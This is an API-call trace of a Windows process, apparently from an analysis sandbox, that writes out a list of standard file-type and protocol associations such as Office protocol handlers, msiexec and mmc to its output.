	[0058.265] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.265] GetFileType (hFile=0x5c) returned 0x3
	[0058.265] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ma-chan=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ma-chan=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 72
	[0058.265] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x47, lpOverlapped=0x0) returned 1
	[0058.265] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.265] GetFileType (hFile=0x5c) returned 0x3
	[0058.265] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ma-filelink=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ma-filelink=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 76
	[0058.265] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4b, lpOverlapped=0x0) returned 1
	[0058.265] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.265] GetFileType (hFile=0x5c) returned 0x3
	[0058.265] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MacromediaFlashPaper.MacromediaFlashPaper=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MacromediaFlashPaper.MacromediaFlashPaper=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 114
	[0058.265] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x71, lpOverlapped=0x0) returned 1
	[0058.266] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.266] GetFileType (hFile=0x5c) returned 0x3
	[0058.266] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mailto=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mailto=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 96
	[0058.266] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5f, lpOverlapped=0x0) returned 1
	[0058.266] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.266] GetFileType (hFile=0x5c) returned 0x3
	[0058.266] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mhtmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mhtmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 76
	[0058.266] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4b, lpOverlapped=0x0) returned 1
	[0058.267] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.267] GetFileType (hFile=0x5c) returned 0x3
	[0058.267] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.267] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.InformationCard=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll  %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.InformationCard=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll  %1\r\n", lpUsedDefaultChar=0x0) returned 130
	[0058.267] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x81, lpOverlapped=0x0) returned 1
	[0058.267] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.267] GetFileType (hFile=0x5c) returned 0x3
	[0058.267] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.267] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.Lync.15ClassicJoin.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.Lync.15ClassicJoin.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95
	[0058.267] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5e, lpOverlapped=0x0) returned 1
	[0058.268] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.268] GetFileType (hFile=0x5c) returned 0x3
	[0058.268] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.Lync.15Join.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.Lync.15Join.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0058.268] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x57, lpOverlapped=0x0) returned 1
	[0058.268] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.268] GetFileType (hFile=0x5c) returned 0x3
	[0058.268] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.Lync.15TelProtocol.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.Lync.15TelProtocol.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95
	[0058.268] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5e, lpOverlapped=0x0) returned 1
	[0058.268] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.269] GetFileType (hFile=0x5c) returned 0x3
	[0058.269] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.PowerShellConsole.1=\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -p \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.PowerShellConsole.1=\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -p \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 100
	[0058.269] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x63, lpOverlapped=0x0) returned 1
	[0058.269] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.269] GetFileType (hFile=0x5c) returned 0x3
	[0058.269] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.PowerShellData.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.PowerShellData.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 68
	[0058.269] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x43, lpOverlapped=0x0) returned 1
	[0058.269] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.269] GetFileType (hFile=0x5c) returned 0x3
	[0058.269] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.PowerShellModule.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.PowerShellModule.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 70
	[0058.269] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x45, lpOverlapped=0x0) returned 1
	[0058.270] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.270] GetFileType (hFile=0x5c) returned 0x3
	[0058.270] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.PowerShellScript.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.PowerShellScript.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 70
	[0058.270] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x45, lpOverlapped=0x0) returned 1
	[0058.270] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.270] GetFileType (hFile=0x5c) returned 0x3
	[0058.270] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.System.Update.1=\"%systemroot%\\system32\\wusa.exe\" \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.System.Update.1=\"%systemroot%\\system32\\wusa.exe\" \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 90
	[0058.270] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x59, lpOverlapped=0x0) returned 1
	[0058.270] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.270] GetFileType (hFile=0x5c) returned 0x3
	[0058.270] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.WindowsCardSpaceBackup=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll  %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.WindowsCardSpaceBackup=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll  %1\r\n", lpUsedDefaultChar=0x0) returned 137
	[0058.270] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x88, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x88, lpOverlapped=0x0) returned 1
	[0058.271] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.271] GetFileType (hFile=0x5c) returned 0x3
	[0058.271] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="migfile=\"C:\\Windows\\System32\\migwiz\\migwiz.exe\" /Restore \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migfile=\"C:\\Windows\\System32\\migwiz\\migwiz.exe\" /Restore \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 64
	[0058.271] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x3f, lpOverlapped=0x0) returned 1
	[0058.271] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.271] GetFileType (hFile=0x5c) returned 0x3
	[0058.271] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MMS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MMS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 67
	[0058.271] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x42, lpOverlapped=0x0) returned 1
	[0058.272] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.272] GetFileType (hFile=0x5c) returned 0x3
	[0058.272] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-access=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-access=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 85
	[0058.272] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x54, lpOverlapped=0x0) returned 1
	[0058.272] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.272] GetFileType (hFile=0x5c) returned 0x3
	[0058.272] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-excel=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-excel=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0058.272] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x53, lpOverlapped=0x0) returned 1
	[0058.272] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.272] GetFileType (hFile=0x5c) returned 0x3
	[0058.272] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-powerpoint=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-powerpoint=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 89
	[0058.272] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x58, lpOverlapped=0x0) returned 1
	[0058.273] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.273] GetFileType (hFile=0x5c) returned 0x3
	[0058.273] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 86
	[0058.273] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x55, lpOverlapped=0x0) returned 1
	[0058.273] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.273] GetFileType (hFile=0x5c) returned 0x3
	[0058.273] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-publisher=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-publisher=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0058.273] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x57, lpOverlapped=0x0) returned 1
	[0058.273] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.273] GetFileType (hFile=0x5c) returned 0x3
	[0058.273] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-visio=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-visio=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0058.273] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x53, lpOverlapped=0x0) returned 1
	[0058.274] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.274] GetFileType (hFile=0x5c) returned 0x3
	[0058.274] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-word=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-word=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0058.274] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x52, lpOverlapped=0x0) returned 1
	[0058.274] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.274] GetFileType (hFile=0x5c) returned 0x3
	[0058.274] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mscfile=%SystemRoot%\\system32\\mmc.exe \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscfile=%SystemRoot%\\system32\\mmc.exe \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 48
	[0058.274] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x2f, lpOverlapped=0x0) returned 1
	[0058.274] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.274] GetFileType (hFile=0x5c) returned 0x3
	[0058.274] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSDASC=Rundll32.exe \"%CommonProgramFiles%\\System\\OLE DB\\oledb32.dll\",OpenDSLFile %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSDASC=Rundll32.exe \"%CommonProgramFiles%\\System\\OLE DB\\oledb32.dll\",OpenDSLFile %1\r\n", lpUsedDefaultChar=0x0) returned 86
	[0058.274] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x55, lpOverlapped=0x0) returned 1
	[0058.275] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.275] GetFileType (hFile=0x5c) returned 0x3
	[0058.275] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Msi.Package=\"%SystemRoot%\\System32\\msiexec.exe\" /i \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Msi.Package=\"%SystemRoot%\\System32\\msiexec.exe\" /i \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 61
	[0058.275] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x3c, lpOverlapped=0x0) returned 1
	[0058.275] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.275] GetFileType (hFile=0x5c) returned 0x3
	[0058.275] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Msi.Patch=\"%SystemRoot%\\System32\\msiexec.exe\" /p \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Msi.Patch=\"%SystemRoot%\\System32\\msiexec.exe\" /p \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 59
	[0058.275] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x3a, lpOverlapped=0x0) returned 1
	[0058.276] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.276] GetFileType (hFile=0x5c) returned 0x3
	[0058.276] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSInfoFile=%SystemRoot%\\system32\\msinfo32.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSInfoFile=%SystemRoot%\\system32\\msinfo32.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 53
	[0058.276] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x34, lpOverlapped=0x0) returned 1
	[0058.276] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.276] GetFileType (hFile=0x5c) returned 0x3
	[0058.276] _get_osfhandle (_FileHandle=1) returned 0x5c
